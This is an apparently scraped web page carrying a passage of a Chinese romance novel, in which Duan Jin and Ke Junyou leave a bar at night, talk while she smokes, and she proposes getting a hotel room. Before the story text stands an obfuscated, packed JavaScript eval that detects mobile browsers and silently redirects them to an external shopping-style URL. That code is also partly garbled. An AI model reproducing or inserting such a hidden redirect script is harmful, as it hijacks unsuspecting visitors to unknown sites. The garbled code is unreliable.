;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537801|203859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去劝,毕竟谁遇到这糟心事还能完全冷静啊,更何况类似的事情还发生了两次。 之后的几个小时,段槿几乎屏蔽掉了周遭的所有声音,麻木的边喝酒,不停歇的往嘴里塞着水果。 她唯一觉察到的一件事就是,这么爱管闲事的柯钧佑,今晚居然没有拦着自己。 察觉到这件稀奇事后,段槿偷偷瞄了他好几眼,他似乎对整个场子的活动都不感兴趣,就陷在沙发里玩着手机。 直到过了零点,段槿实在有些撑不住了,紧闭双眼,倒靠在秦澜肩上沉沉地睡了过去。 没几分钟,柯钧佑把手机锁屏揣进兜里,随后站起身一把将段槿拉了起来,带着人先走一步,从正门出了Mist。 被人拽着,段槿嫌热,用力将自己的手腕从对方滚烫的掌心里抽了出来,然后一个人摇摇晃晃地往前走去。 十月初的申城早晚温差大,带着一丝凉意的晚风吹乱了段槿的头发,她并不在意,双手抄在外套口袋里,微微仰头看着星空。 离开繁华喧闹的区域,街道上的行人车辆愈发稀少。 段槿无声叹了口气,突然有点想抽烟了,其实如果可以,她想去蹦极,或者去攀岩。只是现在太晚,这些场馆都处于闭馆状态,没了别的解压方式,她脑海里蹦出的就只有抽一根烟。 这么想着,她真的就开始在包包里掏烟盒,来来回回摸了好半天没摸着,她有些气呼呼的,嘴里不知道嘟囔了句什么,又开始后悔,早知道刚刚在Mist的时候就试一试水烟是什么滋味了。 越想,她越郁闷,翻找烟盒的手没有停歇下来,左翻右翻翻不着,她干脆不走了,就杵在路边上,生着闷气,将挂在肩上的肩带拽下来,拉链拉到底,对着头顶上的淡黄色路灯,又仔仔细细找了一遍。 正找着,柯钧佑语调轻缓着开口:“就这两天,能解决掉。” 段槿没应他的话,有些走神,心情槽糕到整个人仿佛已经跌入谷底。 直到过了很久,久到柯钧佑又说了句什么,她才反应过来,好像是有人在跟自己说话。 她眼神些微迷离,边从包包夹层里摸出烟盒和打火机,看向柯钧佑时,她有些恍惚,很不在状态的问了句:“你刚刚在说什么?” 柯钧佑的视线已经落到了那烟盒上,看着段槿步伐不稳,边晃晃悠悠走到了街角的一处吸烟区,从烟盒里抽出一支烟咬在了嘴边,又反过身,背着风,点燃了烟。 他问:“你醉了?” 段槿不算熟练的吸了一口烟,边缓缓吐出烟雾,边转过身。 此时正好有一阵风迎面吹来,她的刘海以及两侧的发丝被风吹得往一边跑。她不在意,随意用手抹掉了脸颊上的发丝,才回答:“没,就喝了几杯。” 说着,她开始吐槽:“酒实在太难喝了,跟豆汁有得一拼。” 吐槽完,她吸了第二口烟,才恍然想起什么,下意识做出了递烟的举动,并脱口而出了一句:“你要试试吗?你不是想尝来着。” 烟雾飘荡在空气中,她样子看着认真,没有任何的坏心思。但在说完这话后,她又立马反应过来,应该递一根新的呀,哪有人递烟是递自己抽过的。 意识到这个错误后,她伸手进外套口袋里准备将烟盒拿出来。 柯钧佑似乎还有一丝诧异,再次反问:“你真没喝醉?” 问这话时,他的视线有好几秒是停留在段槿递出来的那支烟上的。 段槿大抵以为风太大,柯钧佑没听清,就再回答了一遍:“没醉,真的。” 听到这个回答,柯钧佑不着痕迹地叹息了一口:“没喝醉啊。” 段槿不太能悟懂他这句话的语气,总觉得哪怪怪的,但要问具体哪里奇怪,又始终琢磨不明白。 最后,她只是问了句:“怎么了?” 柯钧佑没有解答她的疑惑,很自然的岔开了话题:“上次的问题,想到解决办法了吗?” 段槿实在被他弄得有些懵了,他今晚是喝多了还是怎么着,整个人看上去都不太正常的样子。 她另一只手还塞在口袋里,握着那盒烟,好半天:“什么……问题?” 柯钧佑垂着的眼,微微抬起,对上段槿的视线。 随后慢条斯理道:“你欠我的,怎么还。” 终究是躲不过去的,柯钧佑可真记仇啊,是天蝎座都这么记仇吗,还是只有他记仇啊,之前怎么就没发现呢。 段槿没有作声,始终沉默着,两人就这样站在人烟稀少的街道上,面对面,无声对视了十几秒钟。 直到段槿看到柯钧佑轻挑的眉尾,这样的吊儿郎当她可太熟悉了。 她冷着张脸,语气中带着明显的不悦:“你想要我怎么还。”气鼓鼓的反问完,段槿将烟掐了,丢进旁边的垃圾桶。 然而柯钧佑却并没有回答她这个问题,似乎这道难题已经转移,落到了他的头上。 斟酌片刻,他不再看她,姿态极为慵懒的单手抄兜往前走去,撂下一句不轻不重的:“算了,你太清醒了。” 段槿:?? 他这人实在狡猾,到底是想要多大的好处才肯罢休。 段槿决定重新定义柯钧佑对记仇的态度。 她迈了几步超过他,接着加快步伐,试图远离他。 才刚走了几步,柯钧佑突然叫住了她:“所以今晚你还回去吗?” 话题跳转太快,段槿很明显没有反应过来,身形一顿,愣神片刻后,她转过身,脱口而出一句:“不回去睡大街上?” 柯钧佑的视线由她的眼睛,缓慢移至她的嘴唇。 她今天出门前抹了唇膏,现在已经不剩多少,但那嘴唇却依旧水灵,和两人第一次接吻时一样,应该也足够柔软吧。是的没错,就是很软,很好亲。 质问抛出了快十秒钟,柯钧佑才悠悠道:“你喝了酒。”说这话时,他的视线没有挪开,依旧停留在段槿粉嫩柔软的嘴唇上。 很显然段槿并没有觉察到这一点,只在听到这句话后,轻微拧了下眉:“爹地和妈咪应该早就睡了,再说了,我都已经成年了,难道还不能喝酒吗?” 未几,她补充:“更何况,我又没在夜店勾搭异性。” 话音落,她十分不服气地继续往前走,而柯钧佑却停在了原地。 过了好一阵,俩人之间的距离越拉越远,就连对方身上独特的,又极其相似的味道都快闻不到了。被风一吹,散得一干二净。 段槿拽着包包肩带的手渐渐收紧,心中有一瞬间混乱。 街灯拉长人影,她再度转过身,看着几米开外的柯钧佑,对方单手抄兜,眸中某些情绪正翻腾着,似乎有些脆弱,又仿佛随时可能突破理智,更为灼热的融化一切。 然而这般神情却让段槿有些捉摸不透。 四目相对,她顿了好半天:“要不,我们去酒店开个房?”